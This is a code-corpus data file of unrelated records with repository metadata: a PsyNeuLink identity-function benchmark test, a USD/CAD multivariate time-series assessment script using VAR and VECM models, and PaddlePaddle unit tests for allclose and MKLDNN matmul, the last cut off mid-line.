"ext": "py", "lang": "Python", "max_stars_repo_path": "mvpa2/clfs/_svmbase.py", "max_stars_repo_name": "thomastweets/PyMVPA", "max_stars_repo_head_hexsha": "a9c05acd7569639bb636aed3c22a13b21559ca02", "max_stars_repo_licenses": ["MIT"], "max_stars_count": 1, "max_stars_repo_stars_event_min_datetime": "2016-08-23T05:04:09.000Z", "max_stars_repo_stars_event_max_datetime": "2016-08-23T05:04:09.000Z", "max_issues_repo_path": "mvpa2/clfs/_svmbase.py", "max_issues_repo_name": "thomastweets/PyMVPA", "max_issues_repo_head_hexsha": "a9c05acd7569639bb636aed3c22a13b21559ca02", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "mvpa2/clfs/_svmbase.py", "max_forks_repo_name": "thomastweets/PyMVPA", "max_forks_repo_head_hexsha": "a9c05acd7569639bb636aed3c22a13b21559ca02", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 38.2632850242, "max_line_length": 101, "alphanum_fraction": 0.5588031059, "include": true, "reason": "import numpy", "num_tokens": 3613, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.49609382947091946, "lm_q2_score": 0.10230469968165562, "lm_q1q2_score": 0.05075273023794489}}
{"text": "import numpy as np\nimport pytest\n\nimport psyneulink.core.components.functions.nonstateful.transferfunctions as Functions\nimport psyneulink.core.llvm as pnlvm\n\n@pytest.mark.function\n@pytest.mark.identity_function\n@pytest.mark.benchmark(group=\"IdentityFunction\")\n@pytest.mark.parametrize(\"size\", [1, 2, 4, 8, 16])\ndef test_basic(size, benchmark, func_mode):\n    variable = np.random.rand(size)\n    f = Functions.Identity(default_variable=variable)\n    EX = pytest.helpers.get_func_execution(f, func_mode)\n\n    res = benchmark(EX, variable)\n    assert np.allclose(res, variable)\n", "meta": {"hexsha": "195934136e0ac600e5aa1cff4694f96e93ba526e", "size": 576, "ext": "py", "lang": "Python", "max_stars_repo_path": "tests/functions/test_identity.py", "max_stars_repo_name": "JeshuaT/PsyNeuLink", "max_stars_repo_head_hexsha": "912f691028e848659055430f37b6c15273c762f1", "max_stars_repo_licenses": ["Apache-2.0"], "max_stars_count": 67, "max_stars_repo_stars_event_min_datetime": "2018-01-05T22:18:44.000Z", "max_stars_repo_stars_event_max_datetime": "2022-03-27T11:27:31.000Z", "max_issues_repo_path": "tests/functions/test_identity.py", "max_issues_repo_name": "JeshuaT/PsyNeuLink", "max_issues_repo_head_hexsha": "912f691028e848659055430f37b6c15273c762f1", "max_issues_repo_licenses": ["Apache-2.0"], "max_issues_count": 1064, "max_issues_repo_issues_event_min_datetime": "2017-12-01T18:58:27.000Z", "max_issues_repo_issues_event_max_datetime": "2022-03-31T22:22:24.000Z", "max_forks_repo_path": "tests/functions/test_identity.py", "max_forks_repo_name": "JeshuaT/PsyNeuLink", "max_forks_repo_head_hexsha": "912f691028e848659055430f37b6c15273c762f1", "max_forks_repo_licenses": ["Apache-2.0"], "max_forks_count": 25, "max_forks_repo_forks_event_min_datetime": "2017-12-01T20:27:07.000Z", "max_forks_repo_forks_event_max_datetime": "2022-03-08T21:49:39.000Z", "avg_line_length": 32.0, "max_line_length": 86, "alphanum_fraction": 0.7725694444, "include": true, "reason": "import numpy", "num_tokens": 133, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO\n\n", "lm_q1_score": 0.49609382947091946, "lm_q2_score": 0.10230469762890639, "lm_q1q2_score": 0.05075272921958866}}
{"text": "#!/usr/bin/env python\n# coding: utf-8\n\n# # Quant Analyst Intern Assessment\n# \n# ## Section #2: Multivariate Time Series Analysis\n# \n# ### In this section, you will build a Multivariate Time Series Model. Please use Jupyter Notebook for this exercise. You may answer all questions in MARKDOWN inside the Jupyter Notebook.\n\n# \n# ### a. Propose up to five factors that may affect the USD/CAD trading range and explain your reasons for making these assumptions. Also explain the type of data frequency you will use (for example, intraday 5 minutes/daily/weekly).\n# \n# *I choose the following four factors:\n# WTI crude oil price, xauusd, U.S. retail sales year-on-year, U.S. crude oil exports to Canada.*\n# \n# *I think there are not many factors that affect USD/CAD. It is mainly considered from the oil price data and U.S. economic data.*\n# \n# *First of all, the Canadian dollar is a commodity currency. Canada\u2019s economic orientation is also dominated by exports. It is one of the important oil exporting countries. Therefore, rising oil prices may put a lot of pressure on the Canadian dollar. At this time, its purchasing power is limited. It will be greatly reduced, and it will depreciate against major currencies. It should be noted that although Canada exports a lot of oil, it also imports a lot of oil from the United States. A considerable part of this is that Canada first exported crude oil to the United States, then import it back from the United States. So I chose the WTI crude oil price and the amount of crude oil exported from the U.S. to Canada.*\n# \n# *Secondly, US consumption data, QE, Taper, and fiscal policies will all have an impact on usd/cad. Gold is closely related to the US dollar, so I chose xauusd. Since consumption accounts for a large proportion of the US economy, so from the perspective of consumption data I chose the retail sales year-on-year, and similarly, I can also choose the consumer confidence index instead. Here is a detail, the poor employment data of the United States will drive the Canadian dollar to rise, because the United States is full of employment, and the production of shale oil also increases, the oil prices fall.*\n# \n# *The specific choice actually depends on the strategy in different periods. For example, the current international oil prices are rising, but Canadian export oil is selling well, causing usdcad to fall a lot. If the U.S. dollar taper, international oil prices are weak, OPEC increases production capacity, and the U.S. dollar appreciates, the Canadian dollar will weaken relatively, and the logic will become dependent on US consumption data and manufacturing data.*\n# \n# *In the actual trading strategy, the higher the data frequency, the better. The FX leverage ratio is very high, so it is trading back and forth in the min range, and no one can bear the fluctuation of the next day.*\n# \n# *And I think the best construction of this model should be based on the long-term trend of the U.S. dollar index and the long-term trend of international oil prices, to build a large-scale model of usdcad, and build it with mathematical data from a macro perspective. There is a dual relationship between the surface and the inside called the trend structure in technical theory, that is, any trend in a large level must fall in a certain direction. The long-term trend is the general direction, and the time series modeling can be better in the changing market to capture the high and low points of our trading, so it will be more useful in higher frequency transactions.*\n# \n# *However, due to the limited frequency and range of data I can obtain, and in order to simplify the model, the data selected below are all daily frequencies.*\n\n# ### b.\tCausality & Statistical Signifiance \n# \n#    i. Utilize the Granger\u2019s Causality Test to test foe causation in the variables that you have selected. Construct a matrix to show the p-values of the variables against one another (i.e., you also need to show that there are possible relationships between one another; not just USD/CAD).   \n# \n#    ii. [Test for Statistical Significance Between Time Series] Use the Johassen\u2019s test of cointegration to check statistical significance in your variables. \n# \n# ### c.\t[Check for Stationarity] Implement an ADF test to check for stationarity. If it is not stationary, conduct a first-order differencing and re-check for stationarity. Show the ADF p-values for all the selected variables. If first-order differencing is not stationary, conduct a second-order differencing and re-run the ADF test.\n# \n# ### d.\t[Model Selection] Using fit comparison estimates of AIC, BIC, FPE, and HQIC. Using the Fit comparison estimates to derive the most optimal number of lags for the model.\n# \n\n# ### Data Preprocessing\n# \n\n# In[1]:\n\n\n# Data Preprocessing\n\nimport numpy as np\nimport pandas as pd\nfrom datetime import datetime\nimport matplotlib.pyplot as plt\n\ndef Interpolation(data_process):\n    \n    \"\"\"\n    Interpolation\n\n    Perform arithmetic interpolation on the missing values of a column of data\n    \"\"\"\n    \n    j = 0\n    df_seq = []\n    df = data_process.values\n    \n    # arithmetic interpolation, the value of 0 is also considered here.\n    for i in range(len(df)):\n        if df[i] != 0:\n            diff = (df[i]-df[j])/(i-j)\n            data_arange = np.arange(df[j], df[i], diff)\n            j = i\n            for num in range(len(data_arange)):\n                df_seq.append(data_arange[num])\n                \n        #if i == len(df)-1 and df[i] != 0:\n        #    df_seq.append(df[i])\n        \n        if i == len(df)-1 and df[i] == 0:\n            end = df[j] + diff * (i-j)\n            data_arange = np.arange(df[j], end, diff)\n            for num in range(len(data_arange)):\n                df_seq.append(data_arange[num])\n            if len(df_seq) != len(df):\n                df_seq.append(end)\n                      \n    return df_seq\n\n\ndata = pd.read_csv('./HistoryData.csv')  # Read data.\n\ndata['Date'] = pd.to_datetime(data['Date'])\ndata.index = data['Date']  # Convert date format\n\n# data.info()\n\ndata['WTI'] = data['WTI'].bfill() # There are few missing values in wti, so only mean interpolation is used.\n\ndata = data.fillna(0)\n\n# These two are monthly data, and its trend needs to be retained, so use arithmetic interpolation\ndata['Sales_Rate'] = Interpolation(data['Sales_Rate'])\ndata['CrudeOilExports_UStoCanada'] = Interpolation(data['CrudeOilExports_UStoCanada'])\ndata = data.drop(data[(data['Sales_Rate']==0) |(data['CrudeOilExports_UStoCanada']==0)].index)\n\ndata.to_csv('./train_data.csv', index = False, header = True)\ndata.describe()\n\n\n# In[4]:\n\n\n# Data Visualization\nDailyWTI = plt.figure(figsize = (10, 4))\nax = DailyWTI.add_subplot(111)\nax.set(title = 'WTI_DailyData',\n        ylabel = 'Price', xlabel='Date')\n\nplt.plot(data['Date'], data['WTI'])\nplt.show()    \n\nDailyXAU_USD = plt.figure(figsize = (10, 4))\nax = DailyXAU_USD.add_subplot(111)\nax.set(title = 'XAU_USD_DailyData',\n        ylabel = 'Price', xlabel='Date')\n\nplt.plot(data['Date'], data['XAU_USD'])\nplt.show() \n\nDailySales_Rate = plt.figure(figsize = (10, 4))\nax = DailySales_Rate.add_subplot(111)\nax.set(title = 'Sales_Rate_DailyData',\n        ylabel = 'Price', xlabel='Date')\n\nplt.plot(data['Date'], data['Sales_Rate'])\nplt.show()    \n\nDailyCrudeOilExports_UStoCanada = plt.figure(figsize = (10, 4))\nax = DailyCrudeOilExports_UStoCanada.add_subplot(111)\nax.set(title = 'CrudeOilExports_UStoCanada_DailyData',\n        ylabel = 'Price', xlabel='Date')\n\nplt.plot(data['Date'], data['CrudeOilExports_UStoCanada'])\nplt.show() \n\n\n# ### Granger Causality Tests\n# \n# ##### if p is less than 0.05, Granger causality is considered\n\n# In[5]:\n\n\ndef Grangercausalitytests(data, maxlag_num):\n    \n    \"\"\"\n    Granger Causality Tests\n\n    if p is less than 0.05, Granger causality is considered\n    \"\"\"\n    \n    from statsmodels.tsa.stattools import grangercausalitytests\n    grangercausalitytests(data, maxlag=maxlag_num)\n\n    \n# All variables need to be tested\nprint('Grangercausalitytests Result between WTI and USD_CAD')\nGrangercausalitytests(data[['WTI', 'USD_CAD']], 3)\n      \nprint('\\nGrangercausalitytests Result between XAU_USD and USD_CAD')\nGrangercausalitytests(data[['XAU_USD', 'USD_CAD']], 3)\n\nprint('\\nGrangercausalitytests Result between Sales_Rate and USD_CAD')\nGrangercausalitytests(data[['Sales_Rate', 'USD_CAD']], 3)\n      \nprint('\\nGrangercausalitytests Result between CrudeOilExports_UStoCanada and USD_CAD')\nGrangercausalitytests(data[['CrudeOilExports_UStoCanada', 'USD_CAD']], 3)\n\n\nprint('\\nGrangercausalitytests Result between WTI and CrudeOilExports_UStoCanada')\nGrangercausalitytests(data[['WTI', 'CrudeOilExports_UStoCanada']], 3)\n      \nprint('\\nGrangercausalitytests Result between Sales_Rate and CrudeOilExports_UStoCanada')\nGrangercausalitytests(data[['Sales_Rate', 'CrudeOilExports_UStoCanada']], 3)\n      \nprint('\\nGrangercausalitytests Result between XAU_USD and CrudeOilExports_UStoCanada')\nGrangercausalitytests(data[['XAU_USD', 'CrudeOilExports_UStoCanada']], 3)\n\n\nprint('\\nGrangercausalitytests Result between WTI and Sales_Rate')\nGrangercausalitytests(data[['WTI', 'Sales_Rate']], 3)\n      \nprint('\\nGrangercausalitytests Result between XAU_USD and Sales_Rate')\nGrangercausalitytests(data[['XAU_USD', 'Sales_Rate']], 3)\n\n\nprint('\\nGrangercausalitytests Result between WTI and XAU_USD')\nGrangercausalitytests(data[['WTI', 'XAU_USD']], 3)\n\n\n# ### ADF: Augmented Dickey-Fuller Unit Root  Tests\n# \n# ##### Check if it is a stationary series\n\n# In[6]:\n\n\ndef ADF_diff(timeseries, name):\n    \n    \"\"\"\n    ADF: Augmented Dickey-Fuller unit root test.\n    \n    Regression: Constant and trend order to include {\u201cc\u201d,\u201dct\u201d,\u201dctt\u201d,\u201dnc\u201d}\n    1. \u201cc\u201d : constant only (default).\n    2. \u201cct\u201d : constant and trend.\n    3. \u201cctt\u201d : constant, and linear and quadratic trend.\n    4. \u201cnc\u201d : no constant, no trend.\n    \"\"\"\n\n    import pandas as pd\n    import statsmodels.api as sm\n    import matplotlib.pyplot as plt\n    from statsmodels.tsa.stattools import adfuller as ADF\n    \n    # Sequence after generating the differencing.\n    timeseries_diff1 = timeseries.diff(1)\n    timeseries_diff2 = timeseries_diff1.diff(1)\n\n    timeseries_diff1 = timeseries_diff1.fillna(0)\n    timeseries_diff2 = timeseries_diff2.fillna(0)\n\n    # ADF unit root test -- ct\n    print('Result of ADF--ct Test ')\n    timeseries_adf = ADF(timeseries[name].tolist(), regression='ct')\n    timeseries_diff1_adf = ADF(timeseries_diff1[name].tolist(), regression='ct')\n    timeseries_diff2_adf = ADF(timeseries_diff2[name].tolist(), regression='ct')\n\n    print('timeseries_adf : ', timeseries_adf)\n    print('timeseries_diff1_adf : ', timeseries_diff1_adf)\n    print('timeseries_diff2_adf : ', timeseries_diff2_adf)\n\n    plt.figure(figsize=(12, 8))\n    plt.plot(timeseries, label='Original', color='blue')\n    plt.plot(timeseries_diff1, label='Diff1', color='red')\n    plt.plot(timeseries_diff2, label='Diff2', color='purple')\n    plt.legend(loc='best')\n    plt.show()\n    \n    # ADF unit root test -- c\n    print('Result of ADF--c Test ')\n    timeseries_adf = ADF(timeseries[name].tolist(), regression='c')\n    timeseries_diff1_adf = ADF(timeseries_diff1[name].tolist(), regression='c')\n    timeseries_diff2_adf = ADF(timeseries_diff2[name].tolist(), regression='c')\n\n    print('timeseries_adf : ', timeseries_adf)\n    print('timeseries_diff1_adf : ', timeseries_diff1_adf)\n    print('timeseries_diff2_adf : ', timeseries_diff2_adf)\n\n    plt.figure(figsize=(12, 8))\n    plt.plot(timeseries, label='Original', color='blue')\n    plt.plot(timeseries_diff1, label='Diff1', color='red')\n    plt.plot(timeseries_diff2, label='Diff2', color='purple')\n    plt.legend(loc='best')\n    plt.show()\n    \n    # ADF unit root test -- nc\n    print('Result of ADF--nc Test ')\n    timeseries_adf = ADF(timeseries[name].tolist(), regression='nc')\n    timeseries_diff1_adf = ADF(timeseries_diff1[name].tolist(), regression='nc')\n    timeseries_diff2_adf = ADF(timeseries_diff2[name].tolist(), regression='nc')\n\n    print('timeseries_adf : ', timeseries_adf)\n    print('timeseries_diff1_adf : ', timeseries_diff1_adf)\n    print('timeseries_diff2_adf : ', timeseries_diff2_adf)\n\n    plt.figure(figsize=(12, 8))\n    plt.plot(timeseries, label='Original', color='blue')\n    plt.plot(timeseries_diff1, label='Diff1', color='red')\n    plt.plot(timeseries_diff2, label='Diff2', color='purple')\n    plt.legend(loc='best')\n    plt.show()\n\n# Parse data with date for training   \ndateparse = lambda dates: datetime.strptime(dates, '%Y-%m-%d')\ntrain_data = pd.read_csv('./train_data.csv', parse_dates=['Date'],\n                                 index_col='Date', date_parser=dateparse)\n\n# Extract the data of each variable for future use\ndata_WTI = pd.DataFrame(train_data['WTI'])\ndata_XAU_USD = pd.DataFrame(train_data['XAU_USD'])\ndata_Sales_Rate = pd.DataFrame(train_data['Sales_Rate'])\ndata_CrudeOilExports_UStoCanada = pd.DataFrame(train_data['CrudeOilExports_UStoCanada'])\ndata_USD_CAD = pd.DataFrame(train_data['USD_CAD'])\n\n# ADF Tests\nprint(\"Resulty of ADF -- WTI\")\nADF_diff(data_WTI, 'WTI')\nprint(\"Resulty of ADF -- XAU_USD\")\nADF_diff(data_XAU_USD, 'XAU_USD')\nprint(\"Resulty of ADF -- Sales_Rate\")\nADF_diff(data_Sales_Rate, 'Sales_Rate')\nprint(\"Resulty of ADF -- CrudeOilExports_UStoCanada\")\nADF_diff(data_CrudeOilExports_UStoCanada, 'CrudeOilExports_UStoCanada')\nprint(\"Resulty of ADF -- USD_CAD\")\nADF_diff(data_USD_CAD, 'USD_CAD')\n\n\n# ### Fit Comparison Estimates of AIC, BIC, FPE, and HQIC.\n# \n# ##### Using fit comparison estimates of AIC, BIC, FPE, and HQIC. \n# ##### Using the Fit comparison estimates to derive the most optimal number of lags for the model.\n\n# In[7]:\n\n\ndef order_selection(timeseries):\n    \n    \"\"\"\n    Select the optimal lag order.\n    \n    Use Vector Auto Regression (VAR) Model to select order.\n    The var model can pass a maximum number of lags and the order criterion to use for lag order selection.\n    \"\"\"\n    \n    import statsmodels.api as sm\n    from statsmodels.tsa.api import VAR\n    \n    # Vector Auto Regression (VAR) Model\n    var_model = VAR(timeseries)\n\n    #Lag order selection\n    order = var_model.select_order(10)\n    print(order.summary())\n    \n    #var_results = var_model.fit(maxlags=5, ic='aic')\n    #var_results.summary()\n\n\n# Use original data to select order\norder_selection(train_data)\n\n# data after differencing\ntrain_data_diff = train_data\n\ndata_WTI_diff1 = data_WTI.diff(1)\ndata_WTI_diff1 = data_WTI_diff1.fillna(0)\ntrain_data_diff['WTI'] = data_WTI_diff1\n\ndata_XAU_USD_diff1 = data_XAU_USD.diff(1)\ndata_XAU_USD_diff1 = data_XAU_USD_diff1.fillna(0)\ntrain_data_diff['XAU_USD'] = data_XAU_USD_diff1\n\ndata_Sales_Rate_diff1 = data_Sales_Rate.diff(1)\ndata_Sales_Rate_diff2 = data_Sales_Rate_diff1.diff(1)\ndata_Sales_Rate_diff2 = data_Sales_Rate_diff2.fillna(0)\ntrain_data_diff['Sales_Rate'] = data_Sales_Rate_diff2\n\ndata_CrudeOilExports_UStoCanada_diff1 = data_CrudeOilExports_UStoCanada.diff(1)\ndata_CrudeOilExports_UStoCanada_diff2 = data_CrudeOilExports_UStoCanada_diff1.diff(1)\ndata_CrudeOilExports_UStoCanada_diff2 = data_CrudeOilExports_UStoCanada_diff2.fillna(0)\ntrain_data_diff['CrudeOilExports_UStoCanada'] = data_CrudeOilExports_UStoCanada_diff2\n\ndata_USD_CAD_diff1 = data_USD_CAD.diff(1)\ndata_USD_CAD_diff1 = data_USD_CAD_diff1.fillna(0)\ntrain_data_diff['USD_CAD'] = data_USD_CAD_diff1\n\n# Use data after differencing to select order\norder_selection(train_data_diff)\n\n\n# ### Johassen\u2019s test of cointegration\n\n# In[8]:\n\n\ndef coint_johansen(timeseries):\n    \n    \"\"\"\n    Johassen\u2019s test of cointegration\n    \n    Use the Johassen\u2019s test of cointegration to check statistical significance in your variables. \n    \"\"\"\n    \n    from statsmodels.tsa.vector_ar import vecm\n    \n    # Johansen cointegration test, situation setting = continuous features\n    jres1 = vecm.coint_johansen(timeseries, det_order=0, k_ar_diff=1)\n\n    # View johansen cointegration test results\n    johansen_result = vecm.select_coint_rank(timeseries,det_order=0, k_ar_diff=1, signif=0.1)\n    print(johansen_result.summary())\n\n    # Choice of rank\n    print(johansen_result.rank)\n\n    j_name=np.array([['Order'], ['trace statistics'], ['CV 90%'],  ['CV 95%'], ['CV 99%'] ] )\n    print(j_name)\n    \n    j_order = jres1.ind \n    print(j_order) # Order of eigenvalues \n    \n    j_lr1 = jres1.lr1 \n    print(j_lr1) # trace statistics\n    \n    j_cvt = jres1.cvt \n    print(j_cvt) # Critical values (90%, 95%, 99%) of trace statistic\n\n    # j_result = np.vstack(( j_order,  j_lr1, j_cvt))\n    # print(j_result)\n\n    pd.DataFrame(jres1.r0t).plot(kind='bar')  # Residuals for \u0394\n    \n    \ncoint_johansen(train_data_diff)\n\n\n# ### e.\t[Forecast] Utilizing your model, forecast the daily close for the next five days, include a 75% confidence interval. Derive the USD/CAD closing price range for the next 5 days (i.e., Min & Max).\n# \n\n# ### VECM Model\n\n# In[346]:\n\n\n# Use VECM Model to Forecast\nmod = vecm.VECM(train_data_diff, k_ar_diff=1, coint_rank=5, freq='B', deterministic=\"ci\")\nres = mod.fit()\nprint(res.summary())\n\n\n# In[347]:\n\n\n\"\"\"\nNotes:\n\nforecast - ndarray (steps x neqs) or three ndarrays\n\nIn case of a point forecast: each row of the returned ndarray represents the forecast of the neqs variables for a specific period. \nThe first row (index [0]) is the forecast for the next period, the last row (index [steps-1]) is the steps-periods-ahead- forecast.\n\"\"\"\n\n# An image of data that predicts one step forward (showing confidence interval, confidence interval 75%)\nres.plot_forecast(steps=5,plot_conf_int=True,alpha=0.75)\n\n# Predict the value one step forward, with 75% confidence\nres.predict(steps=5, alpha=0.75)\n\n\n# In[ ]:\n\n\n\n\n\n# In[ ]:\n\n\n\n\n", "meta": {"hexsha": "4b1e092007addffd5f99ad0f82dfec7c9edae152", "size": 17666, "ext": "py", "lang": "Python", "max_stars_repo_path": "USD_CAD_Prediction/Sec2.py", "max_stars_repo_name": "Anna-Huang1/ExerciseProjects", "max_stars_repo_head_hexsha": "aadf31de043f5f7631e81dadec31ee9800dcf13a", "max_stars_repo_licenses": ["Apache-2.0"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "USD_CAD_Prediction/Sec2.py", "max_issues_repo_name": "Anna-Huang1/ExerciseProjects", "max_issues_repo_head_hexsha": "aadf31de043f5f7631e81dadec31ee9800dcf13a", "max_issues_repo_licenses": ["Apache-2.0"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "USD_CAD_Prediction/Sec2.py", "max_forks_repo_name": "Anna-Huang1/ExerciseProjects", "max_forks_repo_head_hexsha": "aadf31de043f5f7631e81dadec31ee9800dcf13a", "max_forks_repo_licenses": ["Apache-2.0"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 38.4043478261, "max_line_length": 723, "alphanum_fraction": 0.7222348013, "include": true, "reason": "import numpy,import statsmodels,from statsmodels", "num_tokens": 4727, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.3380771374883919, "lm_q2_score": 0.1500288186418291, "lm_q1q2_score": 0.05072131354719467}}
{"text": "#   Copyright (c) 2018 PaddlePaddle Authors. All Rights Reserved.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n#     http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\nimport unittest\nimport numpy as np\nfrom op_test import OpTest\nimport paddle\n\n\nclass TestAllcloseOp(OpTest):\n    def set_args(self):\n        self.input = np.array([10000., 1e-07]).astype(\"float32\")\n        self.other = np.array([10000.1, 1e-08]).astype(\"float32\")\n        self.rtol = 1e-05\n        self.atol = 1e-08\n        self.equal_nan = False\n\n    def setUp(self):\n        self.set_args()\n        self.op_type = \"allclose\"\n        self.inputs = {'Input': self.input, 'Other': self.other}\n        self.attrs = {\n            'rtol': self.rtol,\n            'atol': self.atol,\n            'equal_nan': self.equal_nan\n        }\n        self.outputs = {\n            'Out': np.array([\n                np.allclose(\n                    self.inputs['Input'],\n                    self.inputs['Other'],\n                    rtol=self.rtol,\n                    atol=self.atol,\n                    equal_nan=self.equal_nan)\n            ])\n        }\n\n    def test_check_output(self):\n        self.check_output()\n\n\nclass TestAllcloseOpSmallNum(TestAllcloseOp):\n    def set_args(self):\n        self.input = np.array([10000., 1e-08]).astype(\"float32\")\n        self.other = np.array([10000.1, 1e-09]).astype(\"float32\")\n        self.rtol = 1e-05\n        self.atol = 1e-08\n        self.equal_nan = False\n\n\nclass TestAllcloseOpNanFalse(TestAllcloseOp):\n    def set_args(self):\n        self.input = np.array([1.0, float('nan')]).astype(\"float32\")\n        self.other = np.array([1.0, float('nan')]).astype(\"float32\")\n        self.rtol = 1e-05\n        self.atol = 1e-08\n        self.equal_nan = False\n\n\nclass TestAllcloseOpNanTrue(TestAllcloseOp):\n    def set_args(self):\n        self.input = np.array([1.0, float('nan')]).astype(\"float32\")\n        self.other = np.array([1.0, float('nan')]).astype(\"float32\")\n        self.rtol = 1e-05\n        self.atol = 1e-08\n        self.equal_nan = True\n\n\nclass TestAllcloseDygraph(unittest.TestCase):\n    def test_api_case(self):\n        paddle.disable_static()\n        x_data = np.random.rand(10, 10)\n        y_data = np.random.rand(10, 10)\n        x = paddle.to_tensor(x_data)\n        y = paddle.to_tensor(y_data)\n        out = paddle.allclose(x, y, rtol=1e-05, atol=1e-08)\n        expected_out = np.allclose(x_data, y_data, rtol=1e-05, atol=1e-08)\n        self.assertTrue((out.numpy() == expected_out).all(), True)\n        paddle.enable_static()\n\n\nclass TestAllcloseError(unittest.TestCase):\n    def test_input_dtype(self):\n        def test_x_dtype():\n            with paddle.static.program_guard(paddle.static.Program(),\n                                             paddle.static.Program()):\n                x = paddle.fluid.data(name='x', shape=[10, 10], dtype='float16')\n                y = paddle.fluid.data(name='y', shape=[10, 10], dtype='float64')\n                result = paddle.allclose(x, y)\n\n        self.assertRaises(TypeError, test_x_dtype)\n\n        def test_y_dtype():\n            with paddle.static.program_guard(paddle.static.Program(),\n                                             paddle.static.Program()):\n                x = paddle.fluid.data(name='x', shape=[10, 10], dtype='float64')\n                y = paddle.fluid.data(name='y', shape=[10, 10], dtype='int32')\n                result = paddle.allclose(x, y)\n\n        self.assertRaises(TypeError, test_y_dtype)\n\n    def test_attr(self):\n        x = paddle.fluid.data(name='x', shape=[10, 10], dtype='float64')\n        y = paddle.fluid.data(name='y', shape=[10, 10], dtype='float64')\n\n        def test_rtol():\n            result = paddle.allclose(x, y, rtol=True)\n\n        self.assertRaises(TypeError, test_rtol)\n\n        def test_atol():\n            result = paddle.allclose(x, y, rtol=True)\n\n        self.assertRaises(TypeError, test_atol)\n\n        def test_equal_nan():\n            result = paddle.allclose(x, y, equal_nan=1)\n\n        self.assertRaises(TypeError, test_equal_nan)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n", "meta": {"hexsha": "83fef8c29fe6d4a012071d9b3885e0118d9aecd4", "size": 4535, "ext": "py", "lang": "Python", "max_stars_repo_path": "python/paddle/fluid/tests/unittests/test_allclose_op.py", "max_stars_repo_name": "Steffy-zxf/Paddle", "max_stars_repo_head_hexsha": "82b23b8fcf6f171ad72e1453c8a2b337e95ee8a9", "max_stars_repo_licenses": ["Apache-2.0"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "python/paddle/fluid/tests/unittests/test_allclose_op.py", "max_issues_repo_name": "Steffy-zxf/Paddle", "max_issues_repo_head_hexsha": "82b23b8fcf6f171ad72e1453c8a2b337e95ee8a9", "max_issues_repo_licenses": ["Apache-2.0"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "python/paddle/fluid/tests/unittests/test_allclose_op.py", "max_forks_repo_name": "Steffy-zxf/Paddle", "max_forks_repo_head_hexsha": "82b23b8fcf6f171ad72e1453c8a2b337e95ee8a9", "max_forks_repo_licenses": ["Apache-2.0"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 33.5925925926, "max_line_length": 80, "alphanum_fraction": 0.5929437707, "include": true, "reason": "import numpy", "num_tokens": 1129, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.46879064146934857, "lm_q2_score": 0.10818895743752079, "lm_q1q2_score": 0.05071797075703542}}
{"text": "# Copyright (c) 2021 PaddlePaddle Authors. All Rights Reserved.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n#     http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\nfrom auto_scan_test import MkldnnAutoScanTest, SkipReasons\nfrom program_config import TensorConfig, ProgramConfig, OpConfig\nimport numpy as np\nimport paddle.inference as paddle_infer\nfrom functools import partial\nfrom typing import Optional, List, Callable, Dict, Any, Set\nimport unittest\n\nimport hypothesis\nfrom hypothesis import given, settings, seed, example, assume\nimport hypothesis.strategies as st\n\n\nclass TestMkldnnMatmulv2Op(MkldnnAutoScanTest):\n    def is_program_valid(self, program_config: ProgramConfig) -> bool:\n        if len(program_config.inputs[\"input_data2\"].shape) == 4:\n            if program_config.inputs[\"input_data1\"].shape[\n                    -4] != 1 and program_config.inputs[\"input_data2\"].shape[\n                        -4] != 1:\n                if program_config.inputs[\"input_data1\"].shape[\n                        -4] != program_config.inputs[\"input_data2\"].shape[-4]:\n                    return False\n\n        if program_config.inputs[\"input_data1\"].shape[\n                -3] != 1 and program_config.inputs[\"input_data2\"].shape[\n                    -3] != 1:\n            if program_config.inputs[\"input_data1\"].shape[\n                    -3] != program_config.inputs[\"input_data2\"].shape[-3]:\n                return False\n        return True\n\n    def sample_program_configs(self, *args, **kwargs):\n        def generate_input(type, *args, **kwargs):\n            transpose_X = kwargs[\"transpose_X\"]\n            transpose_Y = kwargs[\"transpose_Y\"]\n            batch_size1 = kwargs[\"batch_size1\"]\n            batch_size2 = kwargs[\"batch_size2\"]\n            channel1 = kwargs[\"channel1\"]\n            channel2 = kwargs[\"channel2\"]\n            input_dim = kwargs[\"input_dim\"]\n            y_dim_len = kwargs[\"y_dim_len\"]\n            if transpose_X and transpose_Y:\n                shape_x = [batch_size1, channel1, input_dim, 32]\n                if y_dim_len == 4:\n                    shape_y = [batch_size2, channel2, 